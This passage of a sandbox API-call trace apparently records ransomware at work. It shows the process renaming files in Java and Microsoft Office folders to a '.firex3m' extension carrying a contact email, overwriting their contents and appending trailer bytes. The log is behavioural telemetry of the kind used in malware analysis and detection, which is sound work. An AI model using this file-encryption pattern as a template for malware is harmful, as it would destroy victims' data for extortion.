ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1458636a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x18f1, dwReserved0=0x95c7496, dwReserved1=0x6f60af0, cFileName="messages_ja.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MED57E~1.FIR")) returned 0x6d4ec0 [0131.529] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0131.530] Sleep (dwMilliseconds=0x1) [0131.538] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf", len=0x32 | out: pbstr=0x673ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 1 [0131.538] GetProcessHeap () returned 0x630000 [0131.538] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x2c) returned 0x66a3e0 [0131.538] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0131.545] CloseHandle (hObject=0x410) returned 1 [0131.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.683] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SRGBPF~1.FIR")) returned 0x6d4f80 [0131.710] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0131.710] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0131.710] GetProcessHeap () returned 0x630000 [0131.710] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc61) returned 0x6fba008 [0131.710] GetProcessHeap () returned 0x630000 [0131.710] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc61) returned 0x6fc3c18 [0131.710] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.710] ReadFile (in: hFile=0x6f8, lpBuffer=0x6fba008, nNumberOfBytesToRead=0xc40, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fba008*, lpNumberOfBytesRead=0x673ff0c*=0xc40, lpOverlapped=0x0) returned 1 [0131.727] GetProcessHeap () returned 0x630000 [0131.727] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0131.727] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.727] WriteFile (in: hFile=0x6f8, lpBuffer=0x6fc3c18*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc3c18*, lpNumberOfBytesWritten=0x673ff0c*=0xc40, lpOverlapped=0x0) returned 1 [0131.727] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.727] WriteFile (in: hFile=0x6f8, lpBuffer=0x6fc4857*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc4857*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.727] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.727] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.727] CloseHandle (hObject=0x6f8) returned 1 [0131.728] GetProcessHeap () returned 0x630000 [0131.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc3c18 | out: hHeap=0x630000) returned 1 [0131.728] GetProcessHeap () returned 0x630000 [0131.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fba008 | out: hHeap=0x630000) returned 1 [0131.728] GetProcessHeap () returned 0x630000 [0131.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0131.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x14776049, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xc6c, dwReserved0=0x95c7496, dwReserved1=0x6fba000, cFileName="sRGB.pf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SRGBPF~1.FIR")) returned 0x6d5540 [0131.729] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0131.729] Sleep (dwMilliseconds=0x1) [0131.762] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF", len=0x44 | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 1 [0131.763] GetProcessHeap () returned 0x630000 [0131.763] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x8c) returned 0x66a3e0 [0131.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0131.787] CloseHandle (hObject=0x6f8) returned 1 [0131.787] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.789] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AG0017~2.FIR")) returned 0x6d4ec0 [0131.789] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0131.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0131.790] GetProcessHeap () returned 0x630000 [0131.790] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf81) returned 0x727d80 [0131.790] GetProcessHeap () returned 0x630000 [0131.790] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf81) returned 0x717930 [0131.790] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.790] ReadFile (in: hFile=0x6f8, lpBuffer=0x727d80, nNumberOfBytesToRead=0xf60, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x673ff0c*=0xf60, lpOverlapped=0x0) returned 1 [0131.807] GetProcessHeap () returned 0x630000 [0131.807] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0131.807] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.807] WriteFile (in: hFile=0x6f8, lpBuffer=0x717930*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717930*, lpNumberOfBytesWritten=0x673ff0c*=0xf60, lpOverlapped=0x0) returned 1 [0131.808] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.808] WriteFile (in: hFile=0x6f8, lpBuffer=0x71888f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71888f*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.808] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.808] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.808] CloseHandle (hObject=0x6f8) returned 1 [0131.809] GetProcessHeap () returned 0x630000 [0131.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717930 | out: hHeap=0x630000) returned 1 [0131.809] GetProcessHeap () returned 0x630000 [0131.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0131.809] GetProcessHeap () returned 0x630000 [0131.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0131.809] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14834bf9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfa2, dwReserved0=0x95c7496, dwReserved1=0x727d78, cFileName="AG00174_.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AG0017~2.FIR")) returned 0x6d4e00 [0131.809] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0131.810] Sleep (dwMilliseconds=0x1) [0133.709] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", len=0x44 | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 1 [0133.710] GetProcessHeap () returned 0x630000 [0133.710] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x15c) returned 0x66a3e0 [0133.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0133.729] CloseHandle (hObject=0x414) returned 1 [0133.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.730] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BD1969~1.FIR")) returned 0x6d4f80 [0133.730] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0133.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0133.731] GetProcessHeap () returned 0x630000 [0133.731] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x32c1) returned 0x717b0d0 [0133.731] GetProcessHeap () returned 0x630000 [0133.731] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x32c1) returned 0x7228608 [0133.731] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.731] ReadFile (in: hFile=0x414, lpBuffer=0x717b0d0, nNumberOfBytesToRead=0x32a0, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717b0d0*, lpNumberOfBytesRead=0x673ff0c*=0x32a0, lpOverlapped=0x0) returned 1 [0135.867] GetProcessHeap () returned 0x630000 [0135.867] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0135.867] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.867] WriteFile (in: hFile=0x414, lpBuffer=0x7228608*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7228608*, lpNumberOfBytesWritten=0x673ff0c*=0x32a0, lpOverlapped=0x0) returned 1 [0135.868] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.868] WriteFile (in: hFile=0x414, lpBuffer=0x722b8a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722b8a7*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0135.868] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.868] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0135.868] CloseHandle (hObject=0x414) returned 1 [0135.869] GetProcessHeap () returned 0x630000 [0135.869] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7228608 | out: hHeap=0x630000) returned 1 [0135.869] GetProcessHeap () returned 0x630000 [0135.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717b0d0 | out: hHeap=0x630000) returned 1 [0135.870] GetProcessHeap () returned 0x630000 [0135.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0135.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16efbe12, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x32da, dwReserved0=0x95c7496, dwReserved1=0x717b0c8, cFileName="BD19695_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BD1969~1.FIR")) returned 0x6d5200 [0135.870] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0135.870] Sleep (dwMilliseconds=0x1) [0137.768] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF", len=0x44 | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 1 [0137.768] GetProcessHeap () returned 0x630000 [0137.768] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ec20, Size=0x350) returned 0x69ec20 [0137.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0137.784] CloseHandle (hObject=0x6d0) returned 1 [0137.784] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0137.785] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00397_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FD0039~1.FIR")) returned 0x6d4ec0 [0137.786] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0137.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0137.786] GetProcessHeap () returned 0x630000 [0137.786] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a61) returned 0x6f14e18 [0137.786] GetProcessHeap () returned 0x630000 [0137.786] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a61) returned 0x6f17888 [0137.786] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.786] ReadFile (in: hFile=0x6d0, lpBuffer=0x6f14e18, nNumberOfBytesToRead=0x2a40, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f14e18*, lpNumberOfBytesRead=0x673ff0c*=0x2a40, lpOverlapped=0x0) returned 1 [0139.475] GetProcessHeap () returned 0x630000 [0139.475] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0139.475] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.475] WriteFile (in: hFile=0x6d0, lpBuffer=0x6f17888*, nNumberOfBytesToWrite=0x2a40, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f17888*, lpNumberOfBytesWritten=0x673ff0c*=0x2a40, lpOverlapped=0x0) returned 1 [0139.475] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.475] WriteFile (in: hFile=0x6d0, lpBuffer=0x6f1a2c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1a2c7*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0139.475] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.475] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0139.475] CloseHandle (hObject=0x6d0) returned 1 [0139.475] GetProcessHeap () returned 0x630000 [0139.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f17888 | out: hHeap=0x630000) returned 1 [0139.475] GetProcessHeap () returned 0x630000 [0139.475] HeapFree (in: hHeap=0x630000, 